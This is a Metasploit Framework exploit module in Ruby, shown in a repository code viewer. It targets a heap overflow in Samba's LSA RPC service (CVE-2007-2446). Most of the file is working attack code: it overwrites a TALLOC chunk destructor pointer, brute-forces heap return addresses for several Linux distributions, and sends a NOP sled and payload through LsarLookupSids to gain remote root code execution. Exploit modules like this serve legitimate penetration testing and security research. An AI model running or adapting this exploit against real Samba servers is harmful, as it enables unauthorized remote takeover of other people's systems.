root / modules / exploits / linux / samba / lsa_transnames_heap.rb @ master
History | View | Annotate | Download (8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GoodRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::DCERPC |
| 20 |
include Msf::Exploit::Remote::SMB |
| 21 |
include Msf::Exploit::Brute |
| 22 |
|
| 23 |
def initialize(info = {}) |
| 24 |
super(update_info(info,
|
| 25 |
'Name' => 'Samba lsa_io_trans_names Heap Overflow', |
| 26 |
'Description' => %q{ |
| 27 |
This module triggers a heap overflow in the LSA RPC service |
| 28 |
of the Samba daemon. This module uses the TALLOC chunk overwrite |
| 29 |
method (credit Ramon and Adriano), which only works with Samba |
| 30 |
versions 3.0.21-3.0.24. Additonally, this module will not work |
| 31 |
when the Samba "log level" parameter is higher than "2". |
| 32 |
},
|
| 33 |
'Author' =>
|
| 34 |
[ |
| 35 |
'ramon',
|
| 36 |
'Adriano Lima <adriano[at]risesecurity.org>',
|
| 37 |
'hdm'
|
| 38 |
], |
| 39 |
'License' => MSF_LICENSE, |
| 40 |
'Version' => '$Revision$', |
| 41 |
'References' =>
|
| 42 |
[ |
| 43 |
['CVE', '2007-2446'], |
| 44 |
['OSVDB', '34699'], |
| 45 |
], |
| 46 |
'Privileged' => true, |
| 47 |
'Payload' =>
|
| 48 |
{
|
| 49 |
'Space' => 1024, # no limit really |
| 50 |
}, |
| 51 |
'Platform' => 'linux', |
| 52 |
'DefaultOptions' =>
|
| 53 |
{
|
| 54 |
'PrependSetresuid' => true, |
| 55 |
'PrependSetreuid' => true, |
| 56 |
'PrependSetuid' => true, |
| 57 |
}, |
| 58 |
'Targets' =>
|
| 59 |
[ |
| 60 |
['Linux vsyscall',
|
| 61 |
{
|
| 62 |
'Platform' => 'linux', |
| 63 |
'Arch' => [ ARCH_X86 ], |
| 64 |
'Nops' => 1024, |
| 65 |
'Bruteforce' =>
|
| 66 |
{
|
| 67 |
'Start' => { 'Ret' => 0xffffe410 }, |
| 68 |
'Stop' => { 'Ret' => 0xffffe413 }, |
| 69 |
'Step' => 1, |
| 70 |
} |
| 71 |
} |
| 72 |
], |
| 73 |
|
| 74 |
|
| 75 |
##
|
| 76 |
# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
|
| 77 |
# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
|
| 78 |
# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
|
| 79 |
# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
|
| 80 |
# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
|
| 81 |
# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
|
| 82 |
# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
|
| 83 |
#
|
| 84 |
##
|
| 85 |
|
| 86 |
['Linux Heap Brute Force (Debian/Ubuntu)',
|
| 87 |
{
|
| 88 |
'Platform' => 'linux', |
| 89 |
'Arch' => [ ARCH_X86 ], |
| 90 |
'Nops' => 64*1024, |
| 91 |
'Bruteforce' =>
|
| 92 |
{
|
| 93 |
'Start' => { 'Ret' => 0x08352000 }, |
| 94 |
'Stop' => { 'Ret' => 0x0843d000 }, |
| 95 |
'Step' => 60*1024, |
| 96 |
|
| 97 |
} |
| 98 |
} |
| 99 |
], |
| 100 |
|
| 101 |
['Linux Heap Brute Force (Gentoo)',
|
| 102 |
{
|
| 103 |
'Platform' => 'linux', |
| 104 |
'Arch' => [ ARCH_X86 ], |
| 105 |
'Nops' => 64*1024, |
| 106 |
'Bruteforce' =>
|
| 107 |
{
|
| 108 |
'Start' => { 'Ret' => 0x80310000 }, |
| 109 |
'Stop' => { 'Ret' => 0x8042f000 }, |
| 110 |
'Step' => 60*1024, |
| 111 |
|
| 112 |
} |
| 113 |
} |
| 114 |
], |
| 115 |
|
| 116 |
|
| 117 |
|
| 118 |
['Linux Heap Brute Force (Mandriva)',
|
| 119 |
{
|
| 120 |
'Platform' => 'linux', |
| 121 |
'Arch' => [ ARCH_X86 ], |
| 122 |
'Nops' => 64*1024, |
| 123 |
'Bruteforce' =>
|
| 124 |
{
|
| 125 |
'Start' => { 'Ret' => 0x80380000 }, |
| 126 |
'Stop' => { 'Ret' => 0x8045b000 }, |
| 127 |
'Step' => 60*1024, |
| 128 |
|
| 129 |
} |
| 130 |
} |
| 131 |
], |
| 132 |
|
| 133 |
['Linux Heap Brute Force (RHEL/CentOS)',
|
| 134 |
{
|
| 135 |
'Platform' => 'linux', |
| 136 |
'Arch' => [ ARCH_X86 ], |
| 137 |
'Nops' => 64*1024, |
| 138 |
'Bruteforce' =>
|
| 139 |
{
|
| 140 |
'Start' => { 'Ret' => 0xb800f000 }, |
| 141 |
'Stop' => { 'Ret' => 0xb80c9000 }, |
| 142 |
'Step' => 60*1024, |
| 143 |
|
| 144 |
} |
| 145 |
} |
| 146 |
], |
| 147 |
|
| 148 |
['Linux Heap Brute Force (SUSE)',
|
| 149 |
{
|
| 150 |
'Platform' => 'linux', |
| 151 |
'Arch' => [ ARCH_X86 ], |
| 152 |
'Nops' => 64*1024, |
| 153 |
'Bruteforce' =>
|
| 154 |
{
|
| 155 |
'Start' => { 'Ret' => 0x80365000 }, |
| 156 |
'Stop' => { 'Ret' => 0x80424000 }, |
| 157 |
'Step' => 60*1024, |
| 158 |
|
| 159 |
} |
| 160 |
} |
| 161 |
], |
| 162 |
|
| 163 |
['Linux Heap Brute Force (Slackware)',
|
| 164 |
{
|
| 165 |
'Platform' => 'linux', |
| 166 |
'Arch' => [ ARCH_X86 ], |
| 167 |
'Nops' => 64*1024, |
| 168 |
'Bruteforce' =>
|
| 169 |
{
|
| 170 |
'Start' => { 'Ret' => 0x8033c000 }, |
| 171 |
'Stop' => { 'Ret' => 0x80412000 }, |
| 172 |
'Step' => 60*1024, |
| 173 |
|
| 174 |
} |
| 175 |
} |
| 176 |
], |
| 177 |
|
| 178 |
['DEBUG',
|
| 179 |
{
|
| 180 |
'Platform' => 'linux', |
| 181 |
'Arch' => [ ARCH_X86 ], |
| 182 |
'Nops' => 1024, |
| 183 |
'Bruteforce' =>
|
| 184 |
{
|
| 185 |
'Start' => { 'Ret' => 0xAABBCCDD }, |
| 186 |
'Stop' => { 'Ret' => 0xAABBCCDD }, |
| 187 |
'Step' => 4, |
| 188 |
} |
| 189 |
} |
| 190 |
], |
| 191 |
], |
| 192 |
'DisclosureDate' => 'May 14 2007', |
| 193 |
'DefaultTarget' => 0 |
| 194 |
)) |
| 195 |
|
| 196 |
register_options( |
| 197 |
[ |
| 198 |
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), |
| 199 |
], self.class)
|
| 200 |
|
| 201 |
end
|
| 202 |
|
| 203 |
def check |
| 204 |
begin
|
| 205 |
connect() |
| 206 |
smb_login() |
| 207 |
disconnect() |
| 208 |
if (smb_peer_lm() =~ /Samba/i) |
| 209 |
return CheckCode::Detected |
| 210 |
else
|
| 211 |
return CheckCode::Safe |
| 212 |
end
|
| 213 |
rescue ::Exception |
| 214 |
return CheckCode::Safe |
| 215 |
end
|
| 216 |
end
|
| 217 |
|
| 218 |
def brute_exploit(target_addrs) |
| 219 |
|
| 220 |
if(not @nops) |
| 221 |
if (target['Nops'] > 0) |
| 222 |
print_status("Creating nop sled....")
|
| 223 |
@nops = make_nops(target['Nops']) |
| 224 |
else
|
| 225 |
@nops = '' |
| 226 |
end
|
| 227 |
|
| 228 |
# @nops = "\xcc" * (@nops.length)
|
| 229 |
end
|
| 230 |
|
| 231 |
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) |
| 232 |
|
| 233 |
nops = @nops
|
| 234 |
pipe = datastore['SMBPIPE'].downcase
|
| 235 |
|
| 236 |
print_status("Connecting to the SMB service...")
|
| 237 |
connect() |
| 238 |
smb_login() |
| 239 |
|
| 240 |
if ! @checked_peerlm |
| 241 |
if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i |
| 242 |
raise RuntimeError, "This target is not a vulnerable Samba server (#{smb_peer_lm})" |
| 243 |
end
|
| 244 |
end
|
| 245 |
|
| 246 |
@checked_peerlm = true |
| 247 |
|
| 248 |
datastore['DCERPC::fake_bind_multi'] = false |
| 249 |
|
| 250 |
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) |
| 251 |
print_status("Binding to #{handle} ...")
|
| 252 |
dcerpc_bind(handle) |
| 253 |
print_status("Bound to #{handle} ...")
|
| 254 |
|
| 255 |
jumper = "P" * 256 |
| 256 |
jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V') |
| 257 |
|
| 258 |
num_entries = 256
|
| 259 |
num_entries2 = 272
|
| 260 |
|
| 261 |
# first talloc_chunk
|
| 262 |
# 16 bits align
|
| 263 |
# 16 bits sid_name_use
|
| 264 |
# 16 bits uni_str_len
|
| 265 |
# 16 bits uni_max_len
|
| 266 |
# 32 bits buffer
|
| 267 |
# 32 bits domain_idx
|
| 268 |
buf = (('A' * 16) * num_entries) |
| 269 |
|
| 270 |
# padding
|
| 271 |
buf << 'A' * 8 |
| 272 |
|
| 273 |
# TALLOC_MAGIC
|
| 274 |
talloc_magic = "\x70\xec\x14\xe8"
|
| 275 |
|
| 276 |
# second talloc_chunk header
|
| 277 |
buf << 'A' * 8 # next, prev |
| 278 |
buf << NDR.long(0) + NDR.long(0) # parent, child |
| 279 |
buf << NDR.long(0) # refs |
| 280 |
buf << [target_addrs['Ret']].pack('V') # destructor |
| 281 |
buf << 'A' * 4 # name |
| 282 |
buf << 'A' * 4 # size |
| 283 |
buf << talloc_magic # flags
|
| 284 |
buf << jumper |
| 285 |
|
| 286 |
stub = lsa_open_policy(dcerpc) |
| 287 |
|
| 288 |
stub << NDR.long(0) # num_entries |
| 289 |
stub << NDR.long(0) # ptr_sid_enum |
| 290 |
stub << NDR.long(num_entries) # num_entries |
| 291 |
stub << NDR.long(0x20004) # ptr_trans_names |
| 292 |
stub << NDR.long(num_entries2) # num_entries2 |
| 293 |
stub << buf |
| 294 |
stub << nops |
| 295 |
stub << payload.encoded |
| 296 |
|
| 297 |
print_status("Calling the vulnerable function...")
|
| 298 |
|
| 299 |
begin
|
| 300 |
# LsarLookupSids
|
| 301 |
dcerpc.call(0x0f, stub)
|
| 302 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError |
| 303 |
print_status('Server did not respond, this is expected')
|
| 304 |
rescue Rex::Proto::DCERPC::Exceptions::Fault |
| 305 |
print_error('Server is most likely patched...')
|
| 306 |
rescue => e
|
| 307 |
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ |
| 308 |
print_status('Server disconnected, this is expected')
|
| 309 |
else
|
| 310 |
print_error("Error: #{e.class}: #{e}")
|
| 311 |
end
|
| 312 |
end
|
| 313 |
|
| 314 |
handler |
| 315 |
disconnect |
| 316 |
end
|
| 317 |
|
| 318 |
def lsa_open_policy(dcerpc, server="\\") |
| 319 |
stubdata = |
| 320 |
# Server
|
| 321 |
NDR.uwstring(server) +
|
| 322 |
# Object Attributes
|
| 323 |
NDR.long(24) + # SIZE |
| 324 |
NDR.long(0) + # LSPTR |
| 325 |
NDR.long(0) + # NAME |
| 326 |
NDR.long(0) + # ATTRS |
| 327 |
NDR.long(0) + # SEC DES |
| 328 |
# LSA QOS PTR
|
| 329 |
NDR.long(1) + # Referent |
| 330 |
NDR.long(12) + # Length |
| 331 |
NDR.long(2) + # Impersonation |
| 332 |
NDR.long(1) + # Context Tracking |
| 333 |
NDR.long(0) + # Effective Only |
| 334 |
# Access Mask
|
| 335 |
NDR.long(0x02000000) |
| 336 |
|
| 337 |
res = dcerpc.call(6, stubdata)
|
| 338 |
|
| 339 |
dcerpc.last_response.stub_data[0,20] |
| 340 |
end
|
| 341 |
|
| 342 |
end
|
| 343 |
|